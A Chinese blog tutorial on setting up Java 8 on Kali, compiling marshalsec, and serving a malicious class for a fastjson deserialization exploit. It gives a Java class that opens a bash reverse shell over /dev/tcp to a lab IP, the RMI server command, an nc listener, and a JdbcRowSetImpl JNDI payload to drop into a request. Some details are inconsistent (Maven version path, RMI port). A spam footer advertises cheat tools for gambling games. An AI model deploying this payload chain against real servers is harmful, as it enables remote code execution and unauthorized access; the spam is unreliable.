java版本共存与fastjson反序列化rmi服务器的搭建
创始人
2025-01-18 00:02:38
0

文章目录

  • java 8下载
  • 远程加载类工具
  • 编译工具mvn
  • 多版本共存
  • 配置mvn
  • 编译marshalsec
  • 编译rce文件
  • 利用marshalsec加载远程RCE类

java 8下载

链接:https://pan.baidu.com/s/1B8U9v8QAe4Vc67Q84_nqcg?pwd=0000
提取码:0000

远程加载类工具

https://github.com/mbechler/marshalsec.git

编译工具mvn

链接:https://pan.baidu.com/s/1Sqo_YkcBIK7mBiY-1ZoRYw?pwd=0000
提取码:0000

多版本共存

启动kail 将java8解压至/usr/local/java中方便管理

mkdir /usr/local/java tar -zxvf dk-8u202-linux-x64.tar.gz -C  /usr/local/java  这里的参数意义如下:  -z 表示使用gzip进行解压缩。 -x 表示执行解压操作。 -v 代表在解压过程中显示详细的信息,可以看到正在解压的文件名。 -f 后面跟上需要解压的文件名,这里就是你的.tar.gz文件。 -C 解压到指定路径 

改个名字

cd /usr/local/java mv jdk1.8.0_202 jdk1.8.0 

解压好进行配置
在文件/etc/profile尾部添加变量
vim /etc/profile
点键盘i键进行编辑

export JAVA_HOME=/usr/local/java/jdk1.8.0  export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar  export PATH=.:$ZOOKEEPER_HOME/bin:$JAVA_HOME/bin:$PATH 

添加完成后点esc键输入wq进行保存

使用使配置文件生效

source /etc/profile 

生效之后使用命令完成jdk版本共存

sudo update-alternatives --install /usr/bin/java java /usr/local/java/jdk1.8.0/bin/java 1500 

使用来切换版本

sudo update-alternatives --config java 

在这里插入图片描述
这样就成功了
在这里插入图片描述

配置mvn

默认的Linux是没有编译命令的我们需要自己搭建
将Apache Maven解压到/opt目录下
/opt目录主要用于存放第三方应用程序或者非系统自带的软件包

tar -zxvf apache-maven-3.9.6-bin.tar.gz -C /opt  

解压完成后进行配置系统变量编辑 /etc/profile

vim /etc/profile 

输入i将变量添加到末尾

export M2_HOME=/opt/apache-maven-3.6.3 export PATH=$PATH:$M2_HOME/bin 

esc 输入wq保存
使用命令生效配置文件

source /etc/profile 

检查是否安装完成

mvn -version 

但是我改了之后不可以用不知道为什么

编译marshalsec

cd 到marshalsec文件夹进行编译

mvn clean package -DskipTests 

在这里插入图片描述
他会哗哗哗下一堆东西
在这里插入图片描述
这样就说明编译好了看一眼我们的jar包就打好了
在这里插入图片描述

编译rce文件

返回主目录新建一个文件夹为fastjson_payload的文件夹

mkdir fastjson_payload 

完成后创建java文件

vim rce.java 

进行编辑下面代码,记得修改bash shell的ip及nc开放的端口

import java.lang.Runtime; import java.lang.Process;   public class Rce {     static {         try {             Runtime rt = Runtime.getRuntime();             String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.182.129/10002 0>&1"};             Process pc = rt.exec(commands);             pc.waitFor();         } catch (Exception e) {             // do nothing         }     } } 

创建好后进行编译

javac Rce.java 

如果提示没有javac进行一下命令安装重新编译

apt install default-jdk 

利用marshalsec加载远程RCE类

编译完成后
在此页面开启一个网页服务

python -m http.server  8082 

测试一下能否正常访问
在这里插入图片描述
可以看到能够正常访问到我们的class文件
好了接下来回到我们的marshalsec文件夹开启我们的rmi服务

cd github/marshalsec-rmi java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.182.129:8082/#Rce" 10003 

意思就是开放一个marshalsec监听端口10003包含的远程加载类为我们刚刚那个文件夹下的class文件
在这里插入图片描述
新建窗口开启nc监听

nc -lvvp 10002 

完成之后根据对方的fastjson版本构造payload
例:

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.182.129:8082/Rce","autoCommit":true}} 

将payload上传至数据包即可反弹shell

相关内容

热门资讯

七分钟辅助挂!玉海楼茶苑拔萝卜... 七分钟辅助挂!玉海楼茶苑拔萝卜外挂,nzt德州竟然有挂,解密教程(有挂教程);七分钟辅助挂!玉海楼茶...
两分钟辅助挂!七千游戏软件,微... 两分钟辅助挂!七千游戏软件,微信雀神小程序可以作假吗,详细教程(有挂攻略)1、完成微信雀神小程序可以...
分享个大家!中至都昌讨赏有挂吗... 分享个大家!中至都昌讨赏有挂吗(透视)外挂透明挂辅助助手(2025已更新)(哔哩哔哩);1、用户打开...
重大消息!逗娱碰胡抓奖技巧(透... 重大消息!逗娱碰胡抓奖技巧(透视辅助)透视脚本辅助工具(2021已更新)(哔哩哔哩)1.逗娱碰胡抓奖...
九分钟科普!逗娱碰胡外 挂有用... 九分钟科普!逗娱碰胡外 挂有用吗,GG扑克本来真的是有挂,解密教程(有挂解说)1、逗娱碰胡外 挂有用...
必备科技!越乡游义务斗牛开挂视... 必备科技!越乡游义务斗牛开挂视频(辅助挂)外挂透明挂辅助挂(2025已更新)(哔哩哔哩)1、许多玩家...
4分钟辅助挂!众乐联盟有没有外... 4分钟辅助挂!众乐联盟有没有外挂,广东雀神小程序怎么打才能赢,详细教程(有挂下载)1、用户打开应用后...
大家学习交流!中至鹰潭麻将有挂... 大家学习交流!中至鹰潭麻将有挂吗(辅助挂)透视脚本辅助挂(2020已更新)(哔哩哔哩)中至鹰潭麻将有...
四分钟了解!福乐互动辅助神器,... 四分钟了解!福乐互动辅助神器,WepokE竟然是真的有挂,高科技教程(有挂机密)1、让任何用户在无需...
科技通报!朋朋棋牌外 挂(透明... 科技通报!朋朋棋牌外 挂(透明挂)外挂透明挂辅助神器(2025已更新)(哔哩哔哩)1、全新机制【朋朋...